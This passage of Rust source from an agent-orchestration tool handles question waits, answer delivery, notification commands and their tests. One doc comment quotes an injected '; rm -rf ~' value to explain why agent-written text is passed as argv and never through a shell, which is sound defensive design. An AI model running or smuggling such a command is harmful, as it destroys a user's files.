1750    /// The owner decided. Carries [`Question::resolution`].
1751    Answered(String),
1752    /// The owner spoke back without deciding - see [`Question::say`]. The
1753    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1754    /// the caller's move is to hand this text to the agent and let it call
1755    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1756    Replied(String),
1757    /// This call's [`WAIT_SLICE`] ran out with the question still
1758    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1759    /// going quiet, the clock on *this process* running out. The question is
1760    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1761    /// process, so the wait resumes before the shell tool that would have
1762    /// killed this one gets the chance.
1763    Pending,
1764    /// Nobody said anything before the deadline, or the question was closed
1765    /// out from under the wait with no decision recorded - a run deleted out
1766    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1767    /// now on disk.
1768    Abandoned,
1769}
1770
1771/// File a question and wait for the owner, polling the store.
1772///
1773/// The question is updated in place from disk whenever the wait ends, so the
1774/// caller can act on it without re-reading it. `timeout` is the question's
1775/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1776/// of it - see [`Wait::Pending`] for what happens to the rest.
1777pub async fn ask_and_wait(
1778    q: &mut Question,
1779    store: &Questions,
1780    notify: &config::Notify,
1781    timeout: Duration,
1782) -> Result<Wait> {
1783    wait_for_owner(q, store, notify, timeout, POLL).await
1784}
1785
1786/// Resume a wait already filed, without adding a turn or notifying again.
1787///
1788/// This is `magi ask --wait <id>`'s engine: the process that owned the
1789/// previous slice is dead (the tool that ran it killed it, or it simply
1790/// exited after reporting [`Wait::Pending`]), but the question on disk never
1791/// stopped being open, and the owner was already notified about it once. A
1792/// second notification for the same unanswered question would page the
1793/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1794/// unlike [`ask_and_wait`], this skips straight to polling.
1795///
1796/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1797/// caller computes it as what remains until [`Question::asked_at`] plus the
1798/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1799/// up the deadline the first ask set, never push it out further.
1800pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1801    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1802}
1803
1804/// [`ask_and_wait`] with the poll interval injected.
1805///
1806/// Separate only so the tests can drive a whole wait in milliseconds instead of
1807/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1808/// a knob the operator gets to tune.
1809async fn wait_for_owner(
1810    q: &mut Question,
1811    store: &Questions,
1812    cfg: &config::Notify,
1813    timeout: Duration,
1814    poll: Duration,
1815) -> Result<Wait> {
1816    // A question that is already on disk (a `--thread` reply just wrote it under
1817    // the lock) is left alone: this copy may predate an answer or say that
1818    // landed since, and writing it back would erase that.
1819    if !store.path_of(&q.id).is_file() {
1820        store.put(q).context("file the question")?;
1821    }
1822    if q.should_notify(Timestamp::now()) {
1823        if let Err(e) = notify(cfg, q).await {
1824            // A broken webhook is not a reason to throw away an implementation.
1825            // The question is already on disk and the web UI already shows it,
1826            // so the operator still has a way in; only the tap on the shoulder
1827            // is lost.
1828            tracing::warn!(
1829                "could not notify about question {}: {e:#} - the web UI is the \
1830                 only surface for it now",
1831                q.short()
1832            );
1833        }
1834    }
1835    tracing::info!(
1836        "question {} from {} is waiting for you: {}",
1837        q.short(),
1838        q.seat,
1839        q.summary
1840    );
1841    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1842}
1843
1844/// Take the wait as this process: beat the lease and note it on the record.
1845fn hold(store: &Questions, id: &str) {
1846    store.beat(id, WaiterKind::Asker);
1847    let took = store.update(id, |q| {
1848        if q.status.open() {
1849            q.waiter = Some(Waiter {
1850                kind: WaiterKind::Asker,
1851                since: Timestamp::now(),
1852            });
1853        }
1854        Ok(())
1855    });
1856    if let Err(e) = took {
1857        tracing::debug!("could not note the wait on question {id}: {e:#}");
1858    }
1859}
1860
1861/// Record that the agent has read everything so far, so the daemon waiter does
1862/// not resume a session to tell it what was already printed.
1863///
1864/// Callers must invoke this only **after** the word reached the agent's stdout:
1865/// marking first would let a tool timeout kill the process between the mark
1866/// and the print, and the waiter would then consider a word delivered that no
1867/// agent ever saw.
1868pub fn hand_over(store: &Questions, q: &mut Question) {
1869    let done = store.update(&q.id, |r| {
1870        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1871        if r.status == QuestionStatus::Answered {
1872            r.answer_delivered = true;
1873        }
1874        r.waiter = None;
1875        Ok(())
1876    });
1877    match done {
1878        Ok((fresh, ())) => *q = fresh,
1879        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1880    }
1881}
1882
1883/// What the agent is shown for an answer: the owner's says it has not read
1884/// yet, in order, then the answer. With no such say it is `answer` itself,
1885/// byte for byte.
1886pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1887    let says = q.undelivered_owner_turns();
1888    if says.is_empty() {
1889        return answer.to_owned();
1890    }
1891    format!(
1892        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1893        says.join("\n\n")
1894    )
1895}
1896
1897/// Print an answer (with any unread says before it) to `out`, flush, and only
1898/// then record the hand-over. A failed write marks nothing delivered.
1899pub fn deliver_answer(
1900    store: &Questions,
1901    q: &mut Question,
1902    answer: &str,
1903    out: &mut impl std::io::Write,
1904) -> std::io::Result<()> {
1905    writeln!(out, "{}", answer_for_agent(q, answer))?;
1906    out.flush()?;
1907    hand_over(store, q);
1908    Ok(())
1909}
1910
1911/// The polling loop shared by a fresh wait and a resumed one.
1912///
1913/// `timeout` is the budget left before the question's `answer_timeout`
1914/// truly runs out; `slice` bounds how much of that this one call spends
1915/// before handing control back. Landing on `slice` while `timeout` still has
1916/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1917/// silence. Landing on `timeout` itself - because it was no bigger than
1918/// `slice` to begin with - is the real thing, and abandons the question
1919/// exactly as a single unsliced wait always did.
1920async fn wait_loop(
1921    q: &mut Question,
1922    store: &Questions,
1923    timeout: Duration,
1924    slice: Duration,
1925    poll: Duration,
1926) -> Result<Wait> {
1927    // The owner may already have spoken back before this call ever started -
1928    // most often because they did so in the gap between an earlier call
1929    // reporting `Wait::Pending` and this one picking the wait back up with
1930    // `--wait`. That word must surface at once rather than sit unnoticed
1931    // until some *later* turn happens to change something: this call never
1932    // saw it get added, so nothing below would otherwise recognise it as
1933    // new. `last_word_awaiting_reply` reads the question's own record of
1934    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1935    // turn count this call would have to have been there to capture.
1936    if let Some(said) = q.unread_from_owner() {
1937        return Ok(Wait::Replied(said));
1938    }
1939    hold(store, &q.id);
1940
1941    let bounded = timeout.min(slice);
1942    let is_the_real_deadline = bounded >= timeout;
1943    let deadline = tokio::time::Instant::now() + bounded;
1944    loop {
1945        let now = tokio::time::Instant::now();
1946        if now >= deadline {
1947            if !is_the_real_deadline {
1948                // The lease is left to age out on purpose: the caller is about
1949                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1950                // covers.
1951                return Ok(Wait::Pending);
1952            }
1953            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1954            // Re-checked on the record as it is now: the owner may have said
1955            // something in time since the last poll, and that word is handed
1956            // over, not abandoned.
1957            let (fresh, unread) = store
1958                .update(&q.id, |r| {
1959                    let unread = r.unread_from_owner();
1960                    if unread.is_none() {
1961                        r.abandon(&why);
1962                        r.waiter = None;
1963                    }
1964                    Ok(unread)
1965                })
1966                .context("record the abandoned question")?;
1967            *q = fresh;
1968            if let Some(said) = unread {
1969                return Ok(Wait::Replied(said));
1970            }
1971            tracing::warn!(
1972                "question {} went unanswered for {}s; the run parks and the \
1973                 question stays as the record of it",
1974                q.short(),
1975                timeout.as_secs()
1976            );
1977            return Ok(Wait::Abandoned);
1978        }
1979        tokio::time::sleep(poll.min(deadline - now)).await;
1980        store.beat(&q.id, WaiterKind::Asker);
1981        match store.get(&q.id) {
1982            Ok(fresh) if !fresh.status.open() => {
1983                // Whoever answered - the phone, `magi answer`, another daemon -
1984                // owns the record now, so adopt theirs wholesale rather than
1985                // merging into a copy that predates it.
1986                *q = fresh;
1987                return Ok(match q.resolution() {
1988                    Some(a) => Wait::Answered(a),
1989                    // Closed with no decision - abandoned elsewhere, most
1990                    // often by the run behind it being deleted mid-wait.
1991                    None => Wait::Abandoned,
1992                });
1993            }
1994            Ok(fresh) => {
1995                if let Some(said) = fresh.unread_from_owner() {
1996                    *q = fresh;
1997                    return Ok(Wait::Replied(said));
1998                }
1999                // Still open and not waiting on the agent - nothing this
2000                // wait cares about happened, so keep polling.
2001            }
2002            Err(e) => {
2003                // Mid-rename, or a file the operator is editing by hand.
2004                // Neither is a reason to abandon a question a human may still
2005                // answer, so keep polling until the deadline decides.
2006                tracing::debug!("could not re-read question {}: {e:#}", q.short());
2007            }
2008        }
2009    }
2010}
2011
2012/// Run the operator's notification command, if one is configured.
2013///
2014/// The command is argv, never a shell string, and the substitutions below are a
2015/// single pass over each argument: a summary containing `; rm -rf ~` is one
2016/// argument to one program, and a summary containing the characters `{run}` is
2017/// not re-expanded. That property is the reason agent-authored text can be put
2018/// in a notification at all.
2019///
2020/// An error here is reported, not swallowed, so `magi notify --test` can show
2021/// the operator why nothing arrives. The waiting path logs it and carries on.
2022pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2023    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2024    if q.status.open() {
2025        summary.push_str(&format!(
2026            " Respond in Questions or with `magi answer {}`.",
2027            q.id
2028        ));
2029    }
2030    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2031    notify_at(cmd, &q.run, &summary, &url).await
2032}
2033
2034/// [`notify`] for an event that is not a question: the same command, the same
2035/// placeholders, with `summary` and `run` supplied directly.
2036pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2037    let url = view_url(
2038        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2039        "notifications",
2040    );
2041    notify_at(cmd, run, summary, &url).await
2042}
2043
2044async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2045    let Some((program, args)) = cmd.command.split_first() else {
2046        // No command configured: the web UI is the only surface, by choice.
2047        return Ok(());
2048    };
2049    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2050        tracing::warn!(
2051            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2052             so the link will be empty - export it next to `magi serve` with \
2053             the address `magi web --open` printed"
2054        );
2055    }
2056    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2057    tracing::debug!(program = %program, args = ?argv, "notifying");
2058
2059    let mut child = tokio::process::Command::new(program);
2060    child.quiet();
2061    child
2062        .args(&argv)
2063        .stdin(std::process::Stdio::null())
2064        // Killed if the timeout below drops this future: a notification
2065        // command left running would outlive the run it was announcing.
2066        .kill_on_drop(true);
2067    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2068        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2069        Err(_) => bail!(
2070            "notification command `{program}` did not finish within {}s",
2071            NOTIFY_TIMEOUT.as_secs()
2072        ),
2073    };
2074    if !out.status.success() {
2075        let stderr = String::from_utf8_lossy(&out.stderr);
2076        let why = stderr
2077            .lines()
2078            .rev()
2079            .find(|l| !l.trim().is_empty())
2080            .unwrap_or("no output on stderr")
2081            .trim();
2082        bail!(
2083            "notification command `{program}` exited with {}: {why}",
2084            out.status
2085        );
2086    }
2087    Ok(())
2088}
2089
2090/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
2091///
2092/// One left-to-right pass, so a substituted value is never scanned for further
2093/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2094/// in a question must not make the notification recursive.
2095fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2096    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2097    let mut out = String::with_capacity(template.len());
2098    let mut rest = template;
2099    while let Some(at) = rest.find('{') {
2100        out.push_str(&rest[..at]);
2101        let tail = &rest[at..];
2102        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2103            Some((token, value)) => {
2104                out.push_str(value);
2105                rest = &tail[token.len()..];
2106            }
2107            None => {
2108                // Not a placeholder magi knows: it is the operator's own text.
2109                out.push('{');
2110                rest = &tail[1..];
2111            }
2112        }
2113    }
2114    out.push_str(rest);
2115    out
2116}
2117
2118/// Point a configured base URL at the view that can answer the question.
2119///
2120/// A notification the operator has to navigate from is a question that stays
2121/// unanswered until morning, so the questions view is appended - unless the
2122/// operator already wrote a fragment, in which case they have said where they
2123/// want to land and magi does not know better.
2124fn question_url(base: &str) -> String {
2125    view_url(base, "questions")
2126}
2127
2128fn view_url(base: &str, view: &str) -> String {
2129    let base = base.trim().trim_end_matches('/');
2130    if base.is_empty() || base.contains('#') {
2131        return base.to_owned();
2132    }
2133    format!("{base}/#/{view}")
2134}
2135
2136/// Assemble a panel's contents in an already-empty directory.
2137///
2138/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2139/// first error without an early `return` skipping that cleanup.
2140fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2141    let index = dir.join(PANEL_HTML);
2142    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2143    for (name, src) in assets {
2144        let dst = dir.join(name);
2145        std::fs::copy(src, &dst)
2146            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2147    }
2148    Ok(())
2149}
2150
2151/// Remove a directory and everything under it, treating "not there" as done.
2152///
2153/// A panel is replaced wholesale and dropped idempotently, and in both cases
2154/// the absence of the directory is the desired end state, not an error.
2155fn clear_dir(path: &Path) -> Result<()> {
2156    match std::fs::remove_dir_all(path) {
2157        Ok(()) => Ok(()),
2158        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2159        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2160    }
2161}
2162
2163fn read_path(path: &Path) -> Result<Question> {
2164    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2165    let q: Question =
2166        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2167    if q.schema > SCHEMA {
2168        // Strictly newer, not merely different: every field added since
2169        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2170        // here as "no thread yet" rather than as garbage. Only a schema this
2171        // build has never heard of is refused.
2172        bail!(
2173            "question {} was written by a newer magi (schema {}, this build \
2174             only speaks up to {SCHEMA})",
2175            q.id,
2176            q.schema
2177        );
2178    }
2179    Ok(q)
2180}
2181
2182/// [`short`] for callers outside this module (a run id shortens the same way).
2183pub fn short_id(id: &str) -> &str {
2184    short(id)
2185}
2186
2187fn short(id: &str) -> &str {
2188    id.split('-').next_back().unwrap_or(id)
2189}
2190
2191fn new_id() -> String {
2192    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2193    let seed = crate::rng::entropy();
2194    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2195}
2196
2197#[cfg(test)]
2198mod tests {
2199    use super::*;
2200
2201    /// A store of its own, with no process-global state - which is the point of
2202    /// `Questions::at`, and why these can run in parallel.
2203    fn store() -> (tempfile::TempDir, Questions) {
2204        let dir = tempfile::tempdir().unwrap();
2205        let s = Questions::at(dir.path().join("questions"));
2206        (dir, s)
2207    }
2208
2209    #[test]
2210    fn run_names_task_only_for_task_questions() {
2211        for (node, want) in [
2212            (crate::conduct::NODE, true),
2213            (crate::triage::NODE, true),
2214            (crate::triage::DEPS_NODE, true),
2215            (crate::land::APPROVAL_NODE, false),
2216            (crate::bump::NOTICE_NODE, false),
2217            ("implement", false),
2218        ] {
2219            let mut q = choice_question();
2220            q.node = node.to_owned();
2221            assert_eq!(q.run_names_task(), want, "{node}");
2222        }
2223    }
2224
2225    #[test]
2226    fn deleting_a_run_stops_its_questions_asking() {
2227        let (_dir, store) = store();
2228
2229        let mut open_one = choice_question();
2230        store.put(&mut open_one).unwrap();
2231        let mut answered = free_question();
2232        answered
2233            .answer(Answer::Text("keep this".to_owned()))
2234            .unwrap();
2235        store.put(&mut answered).unwrap();
2236        let mut elsewhere = choice_question();
2237        elsewhere.run = "20260903-105039-3cbf".to_owned();
2238        store.put(&mut elsewhere).unwrap();
2239
2240        let n = store
2241            .abandon_for_run(&open_one.run, "run was deleted")
2242            .unwrap();
2243        assert_eq!(n, 1, "only the open question of that run");
2244
2245        let back = store.get(&open_one.id).unwrap();
2246        assert!(!back.status.open(), "it no longer asks for a decision");
2247        assert!(
2248            back.detail.contains("run was deleted"),
2249            "the operator can see why: {}",
2250            back.detail
2251        );
2252
2253        let kept = store.get(&answered.id).unwrap();
2254        assert_eq!(
2255            kept.status,
2256            QuestionStatus::Answered,
2257            "an answered question is a decision on record, not something to revoke"
2258        );
2259        assert!(
2260            store.get(&elsewhere.id).unwrap().status.open(),
2261            "another run's question is untouched"
2262        );
2263        assert!(store.open_for(&open_one.run).is_empty());
2264    }
2265
2266    #[test]
2267    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2268        let (_dir, store) = store();
2269        let mut q = choice_question();
2270        store.put(&mut q).unwrap();
2271
2272        // `Blocked` can still be resumed - leave it exactly as it was.
2273        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2274        assert_eq!(n, 0);
2275        assert!(store.get(&q.id).unwrap().status.open());
2276
2277        // `Failed` is not - abandon it, with the run and its fate in the
2278        // reason so the owner can tell what happened without a run to read.
2279        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2280        assert_eq!(n, 1);
2281        let back = store.get(&q.id).unwrap();
2282        assert!(!back.status.open());
2283        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2284
2285        // A second call against the same, now-settled run finds nothing left.
2286        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2287    }
2288
2289    fn choice_question() -> Question {
2290        Question::new(
2291            "20260902-201256-9fb7".to_owned(),
2292            "implement".to_owned(),
2293            "impl-A".to_owned(),
2294            "Which storage backend should the cache use?".to_owned(),
2295            "Both are already dependencies.".to_owned(),
2296            vec!["SQLite".to_owned(), "Redis".to_owned()],
2297        )
2298    }
2299
2300    fn free_question() -> Question {
2301        Question::new(
2302            "20260902-201256-9fb7".to_owned(),
2303            "review".to_owned(),
2304            "rev-1".to_owned(),
2305            "What should the error message say?".to_owned(),
2306            String::new(),
2307            Vec::new(),
2308        )
2309    }
2310
2311    /// No notification, which is the default and what most of these want.
2312    fn quiet() -> config::Notify {
2313        config::Notify::default()
2314    }
2315
2316    #[test]
2317    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2318        // The front end parses these names by hand; there is no shared schema
2319        // and no compiler between the two. A rename here is a UI that shows an
2320        // empty card and reports no error, so the names are asserted literally.
2321        let mut q = choice_question();
2322        q.id = "20260902-231501-ab12".to_owned();
2323        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2324        // `serde_json::Value` holds an object's keys sorted, and key order
2325        // means nothing to a JSON reader anyway: the field *set* is what the
2326        // front end was written against, so that is what is pinned here.
2327        let keys: Vec<&str> = open
2328            .as_object()
2329            .unwrap()
2330            .keys()
2331            .map(String::as_str)
2332            .collect();
2333        assert_eq!(
2334            keys,
2335            [
2336                "actions",
2337                "answer",
2338                "answer_delivered",
2339                "answer_timeout",
2340                "answered_at",
2341                "asked_at",
2342                "assets",
2343                "choices",
2344                "consult",
2345                "cwd",
2346                "decision_context",
2347                "delivered_turns",
2348                "deputy",
2349                "detail",
2350                "id",
2351                "merge_target",
2352                "node",
2353                "panel",
2354                "run",
2355                "schema",
2356                "seat",
2357                "status",
2358                "summary",
2359                "thread",
2360                "triage_generation",
2361                "waiter",
2362            ],
2363            "the on-disk field set is a contract with the front end"
2364        );
2365        assert_eq!(open["schema"], 13);
2366        assert_eq!(open["merge_target"], serde_json::Value::Null);
2367        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2368        assert_eq!(open["thread"], serde_json::json!([]));
2369        assert_eq!(open["id"], "20260902-231501-ab12");
2370        assert_eq!(open["run"], "20260902-201256-9fb7");
2371        assert_eq!(open["node"], "implement");
2372        assert_eq!(open["seat"], "impl-A");
2373        assert_eq!(open["status"], "open");
2374        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2375        assert_eq!(open["answered_at"], serde_json::Value::Null);
2376        assert_eq!(open["answer"], serde_json::Value::Null);
2377        let asked = open["asked_at"].as_str().unwrap();
2378        assert!(
2379            asked.ends_with('Z') && asked.contains('T'),
2380            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2381        );
2382
2383        // A chosen option, exactly as the contract spells it.
2384        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2385        let answered = serde_json::to_value(&q).unwrap();
2386        assert_eq!(answered["status"], "answered");
2387        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2388        assert!(answered["answered_at"].is_string());
2389
2390        // And free text, which is the other of the two forms.
2391        let mut free = free_question();
2392        free.answer(Answer::Text("Say which file it was".to_owned()))
2393            .unwrap();
2394        assert_eq!(
2395            serde_json::to_value(&free).unwrap()["answer"],
2396            serde_json::json!({"text": "Say which file it was"})
2397        );
2398
2399        // And it survives the round trip a reader actually performs.
2400        let body = serde_json::to_string(&q).unwrap();
2401        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2402    }
2403
2404    #[test]
2405    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2406        let (_dir, store) = store();
2407        let mut q = approval_question();
2408        q.merge_target = Some(crate::merge_decision::Target {
2409            pr: "https://github.com/example/repo/pull/42".into(),
2410            head: "reviewed-head".into(),
2411            language: "ja".into(),
2412        });
2413        store.put(&mut q).unwrap();
2414        let saved = store.get(&q.id).unwrap();
2415        assert_eq!(saved, q);
2416        let mut body = serde_json::to_value(&saved).unwrap();
2417        assert_eq!(body["schema"], 13);
2418        assert_eq!(
2419            body["merge_target"],
2420            serde_json::json!({
2421                "pr": "https://github.com/example/repo/pull/42",
2422                "head": "reviewed-head",
2423                "language": "ja"
2424            })
2425        );
2426
2427        // Earlier merge/hold cards have no target field. Read the actual
2428        // on-disk shape through the store, including its schema guard.
2429        body["schema"] = serde_json::json!(10);
2430        body.as_object_mut().unwrap().remove("merge_target");
2431        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2432        let legacy = store.get(&q.id).unwrap();
2433        assert_eq!(legacy.schema, 10);
2434        assert!(legacy.merge_target.is_none());
2435        assert_eq!(legacy.choices, q.choices);
2436        assert_eq!(legacy.status, q.status);
2437    }
2438
2439    #[test]
2440    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2441        // Four different mistakes, four different fixes: the web handler shows
2442        // these strings to the person who made them.
2443        let mut unoffered = choice_question();
2444        let a = unoffered
2445            .answer(Answer::Choice("Postgres".to_owned()))
2446            .unwrap_err()
2447            .to_string();
2448
2449        let mut typed = choice_question();
2450        let b = typed
2451            .answer(Answer::Text("use Postgres".to_owned()))
2452            .unwrap_err()
2453            .to_string();
2454
2455        let mut blank = free_question();
2456        let c = blank
2457            .answer(Answer::Text("   \n".to_owned()))
2458            .unwrap_err()
2459            .to_string();
2460
2461        let mut twice = choice_question();
2462        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2463        let d = twice
2464            .answer(Answer::Choice("Redis".to_owned()))
2465            .unwrap_err()
2466            .to_string();
2467
2468        assert!(a.contains("not one of the choices"), "{a}");
2469        assert!(b.contains("multiple choice"), "{b}");
2470        assert!(c.contains("empty"), "{c}");
2471        assert!(d.contains("already answered"), "{d}");
2472        let mut distinct = vec![a, b, c, d];
2473        let asked = distinct.len();
2474        distinct.sort_unstable();
2475        distinct.dedup();
2476        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2477
2478        // The refused ones are still open, so the owner can answer properly.
2479        assert_eq!(unoffered.status, QuestionStatus::Open);
2480        assert_eq!(typed.status, QuestionStatus::Open);
2481        assert_eq!(blank.status, QuestionStatus::Open);
2482        // And the first answer to the double-answered one survived.
2483        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2484
2485        // Free text refuses a fabricated choice for the mirror-image reason.
2486        let mut free = free_question();
2487        let e = free
2488            .answer(Answer::Choice("SQLite".to_owned()))
2489            .unwrap_err()
2490            .to_string();
2491        assert!(e.contains("free text"), "{e}");
2492    }
2493
2494    #[test]
2495    fn open_questions_are_listed_before_answered_ones() {
2496        let (_dir, s) = store();
2497        // Ids carry a timestamp, so force a known order: the answered one is
2498        // the newest, and must still sort below the open ones.
2499        let mut old_open = choice_question();
2500        old_open.id = "20260101-000001-aaaa".to_owned();
2501        let mut new_open = choice_question();
2502        new_open.id = "20260101-000002-bbbb".to_owned();
2503        let mut answered = choice_question();
2504        answered.id = "20260101-000003-cccc".to_owned();
2505        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2506        for q in [&mut old_open, &mut new_open, &mut answered] {
2507            s.put(q).unwrap();
2508        }
2509
2510        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2511        assert_eq!(
2512            ids,
2513            [
2514                "20260101-000002-bbbb",
2515                "20260101-000001-aaaa",
2516                "20260101-000003-cccc"
2517            ],
2518            "what has stopped work comes first; history sorts underneath"
2519        );
2520        assert_eq!(s.count_open(), 2);
2521        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2522        assert!(s.open_for("some-other-run").is_empty());
2523        // The short id is what the phone and the reports show.
2524        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2525        assert!(s.get("20260101-000002-bbbb").is_ok());
2526        assert!(s.resolve_id("nope").is_err());
2527        assert!(
2528            s.revision() > 0,
2529            "the store's mtime drives the phone's polling"
2530        );
2531    }
2532
2533    #[test]
2534    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2535        let (_dir, s) = store();
2536        let mut good = choice_question();
2537        s.put(&mut good).unwrap();
2538        // Truncated by a killed writer, and written by a magi from the future.
2539        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2540        let future = serde_json::json!({
2541            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2542            "seat": "s", "summary": "?", "detail": "", "choices": [],
2543            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2544            "answered_at": null, "answer": null,
2545        });
2546        std::fs::write(
2547            s.path_of("20260101-000010-beef"),
2548            serde_json::to_string(&future).unwrap(),
2549        )
2550        .unwrap();
2551
2552        let listed = s.list();
2553        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2554        assert_eq!(listed[0].id, good.id);
2555        // Asked for by name, the unreadable one explains itself instead.
2556        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2557        assert!(e.contains("schema"), "{e}");
2558    }
2559
2560    #[tokio::test]
2561    async fn the_wait_returns_the_answer_another_process_wrote() {
2562        // The phone, `magi answer` and this run are three processes with no
2563        // channel between them: the file is the channel, so the wait has to see
2564        // a write it did not make. Sub-second timings keep this a real wait
2565        // without a real one's duration.
2566        let (dir, s) = store();
2567        let mut q = choice_question();
2568        let id = q.id.clone();
2569        let writer = Questions::at(dir.path().join("questions"));
2570        let handle = tokio::spawn(async move {
2571            tokio::time::sleep(Duration::from_millis(30)).await;
2572            let mut fresh = writer.get(&id).expect("the question was filed first");
2573            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2574            writer.put(&mut fresh).unwrap();
2575        });
2576
2577        let got = wait_for_owner(
2578            &mut q,
2579            &s,
2580            &quiet(),
2581            Duration::from_secs(5),
2582            Duration::from_millis(10),
2583        )
2584        .await
2585        .unwrap();
2586
2587        handle.await.unwrap();
2588        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2589        assert_eq!(
2590            q.status,
2591            QuestionStatus::Answered,
2592            "the caller's copy is refreshed from the answering process's record"
2593        );
2594        assert!(q.answered_at.is_some());
2595    }
2596
2597    #[tokio::test]
2598    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2599        let (_dir, s) = store();
2600        let mut q = choice_question();
2601
2602        let got = wait_for_owner(
2603            &mut q,
2604            &s,
2605            &quiet(),
2606            Duration::from_millis(60),
2607            Duration::from_millis(10),
2608        )
2609        .await
2610        .unwrap();
2611
2612        assert_eq!(
2613            got,
2614            Wait::Abandoned,
2615            "a slow human is not an error; the run parks"
2616        );
2617        assert_eq!(q.status, QuestionStatus::Abandoned);
2618        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2619        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2620        assert!(
2621            on_disk.detail.contains("Abandoned:"),
2622            "why nobody answered belongs with the question: {}",
2623            on_disk.detail
2624        );
2625        assert!(on_disk.resolution().is_none());
2626        assert_eq!(s.count_open(), 0);
2627    }
2628
2629    #[tokio::test]
2630    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2631        // This is the whole point of slicing: `timeout` (the real
2632        // `answer_timeout` budget) is far larger than `slice`, so the loop
2633        // must land on `slice` first and hand back `Pending` - not read the
2634        // silence so far as the owner having given up.
2635        let (_dir, s) = store();
2636        let mut q = choice_question();
2637        s.put(&mut q).unwrap();
2638
2639        let got = wait_loop(
2640            &mut q,
2641            &s,
2642            Duration::from_secs(3600),
2643            Duration::from_millis(30),
2644            Duration::from_millis(10),
2645        )
2646        .await
2647        .unwrap();
2648
2649        assert_eq!(
2650            got,
2651            Wait::Pending,
2652            "the clock on this call ran out, not the owner's patience"
2653        );
2654        assert_eq!(
2655            q.status,
2656            QuestionStatus::Open,
